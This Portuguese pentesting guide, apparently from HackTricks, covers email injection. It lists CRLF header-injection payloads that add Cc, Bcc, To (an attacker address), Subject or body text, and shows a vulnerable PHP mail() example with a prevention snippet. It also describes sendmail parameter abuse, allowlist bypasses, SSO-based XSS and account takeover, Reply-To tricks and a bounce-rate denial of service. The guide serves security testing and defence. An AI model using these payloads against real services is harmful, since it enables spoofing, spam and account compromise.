hacktricks/pentesting-web/email-injections.md

12 KiB

Injeções de Email


Use Trickest para construir e automatizar fluxos de trabalho com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje mesmo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Injetar em e-mail enviado

Injetar Cc e Bcc após o argumento do remetente

From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com

A mensagem será enviada para as contas do destinatário e destinatário1.

Injetar argumento

From:sender@domain.com%0ATo:attacker@domain.com

A mensagem será enviada para o destinatário original e para a conta do atacante.

Injetar argumento de Assunto

From:sender@domain.com%0ASubject:This is%20Fake%20Subject

O assunto falso será adicionado ao assunto original e, em alguns casos, o substituirá. Isso depende do comportamento do serviço de e-mail.

Alterar o corpo da mensagem

Injete uma quebra de linha de duas linhas e, em seguida, escreva sua mensagem para alterar o corpo da mensagem.

From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.

Exploração da função mail() do PHP

A função mail() do PHP é comumente usada para enviar e-mails a partir de um servidor web. No entanto, ela também pode ser explorada por hackers para realizar ataques de injeção de e-mail.

Injeção de e-mail

A injeção de e-mail ocorre quando um invasor consegue inserir código malicioso em um campo de entrada que é posteriormente utilizado como parâmetro na função mail(). Isso pode permitir que o invasor envie e-mails não autorizados, falsifique remetentes ou até mesmo execute comandos no servidor.

Exemplo de exploração

Considere o seguinte código PHP:

<?php
$to = $_POST['to'];
$subject = $_POST['subject'];
$message = $_POST['message'];

mail($to, $subject, $message);
?>

Neste exemplo, os valores dos campos to, subject e message são obtidos a partir de um formulário HTML e passados diretamente para a função mail(). Isso cria uma vulnerabilidade de injeção de e-mail.

Explorando a vulnerabilidade

Um invasor pode explorar essa vulnerabilidade inserindo código malicioso nos campos de entrada. Por exemplo, o invasor pode inserir o seguinte valor no campo to:

john@example.com; cc:malicious@example.com

Isso fará com que a função mail() envie o e-mail para ambos os endereços, permitindo que o invasor envie cópias não autorizadas para um terceiro.

Prevenção

Para prevenir a exploração da função mail(), é importante validar e sanitizar os dados de entrada antes de utilizá-los como parâmetros. Isso pode ser feito utilizando funções como filter_var() para validar endereços de e-mail e htmlspecialchars() para sanitizar mensagens.

<?php
$to = filter_var($_POST['to'], FILTER_VALIDATE_EMAIL);
$subject = htmlspecialchars($_POST['subject']);
$message = htmlspecialchars($_POST['message']);

if ($to && $subject && $message) {
    mail($to, $subject, $message);
}
?>

Ao validar e sanitizar os dados de entrada, é possível reduzir significativamente o risco de injeção de e-mail e outros ataques relacionados.

# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}

O 5º parâmetro ($additional_parameters)

Esta seção será baseada em como abusar deste parâmetro supondo que um atacante o controle.

Este parâmetro será adicionado à linha de comando que o PHP usará para invocar o binário sendmail. No entanto, ele será sanitizado com a função escapeshellcmd($additional_parameters).

Um atacante pode injetar parâmetros extras para o sendmail neste caso.

Diferenças na implementação de /usr/sbin/sendmail

A interface sendmail é fornecida pelo software de e-mail MTA (Sendmail, Postfix, Exim etc.) instalado no sistema. Embora a funcionalidade básica (como os parâmetros -t -i -f) permaneça a mesma por razões de compatibilidade, outras funções e parâmetros variam muito dependendo do MTA instalado.

Aqui estão alguns exemplos de diferentes páginas de manual do comando/interface sendmail:

Dependendo da origem do binário sendmail, diferentes opções foram descobertas para abusar deles e vazar arquivos ou até mesmo executar comandos arbitrários. Veja como em https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

Injetar no nome do e-mail

Partes ignoradas de um e-mail

Os símbolos: +, - e {} em raras ocasiões podem ser usados para marcação e ignorados pela maioria dos servidores de e-mail

Comentários entre parênteses () no início ou no final também serão ignorados

Bypass da lista de permissões

Aspas

IPs

Você também pode usar IPs como nomes de domínio entre colchetes:

  • john.doe@[127.0.0.1]
  • john.doe@[IPv6:2001:db8::1]

Outras vulnerabilidades

SSO de terceiros

XSS

Alguns serviços como github ou salesforce permitem que você crie um endereço de e-mail com payloads XSS. Se você puder usar esses provedores para fazer login em outros serviços e esses serviços não estiverem sanitizando corretamente o e-mail, você poderá causar XSS.

Account-Takeover

Se um serviço SSO permitir que você crie uma conta sem verificar o endereço de e-mail fornecido (como salesforce) e depois você pode usar essa conta para fazer login em um serviço diferente que confia no salesforce, você poderá acessar qualquer conta.
Observe que o salesforce indica se o e-mail fornecido foi ou não verificado, mas a aplicação deve levar em conta essa informação.

Reply-To

Você pode enviar um e-mail usando From: company.com** ** e Replay-To: attacker.com e se alguma resposta automática for enviada devido ao e-mail ter sido enviado de um endereço interno, o atacante pode ser capaz de receber essa resposta.

Taxa de rejeição permanente

Algumas aplicações como a AWS têm uma Taxa de Rejeição Permanente (na AWS é de 10%), que quando sobrecarregada, o serviço de e-mail é bloqueado.

Uma rejeição permanente é um e-mail que não pôde ser entregue por algum motivo permanente. Talvez o e-mail seja um endereço falso, talvez o domínio do e-mail não seja um domínio real, ou talvez o servidor do destinatário do e-mail não aceite e-mails), isso significa que de um total de 1000 e-mails, se 100 deles forem falsos ou inválidos e causarem o retorno de todos eles, o AWS SES bloqueará seu serviço.

Portanto, se você puder enviar e-mails (talvez convites) do aplicativo da web para qualquer endereço de e-mail, você pode provocar esse bloqueio enviando centenas de convites para usuários e domínios inexistentes: DoS do serviço de e-mail.

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, utilizando as ferramentas comunitárias mais avançadas do mundo.\ Acesse hoje mesmo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}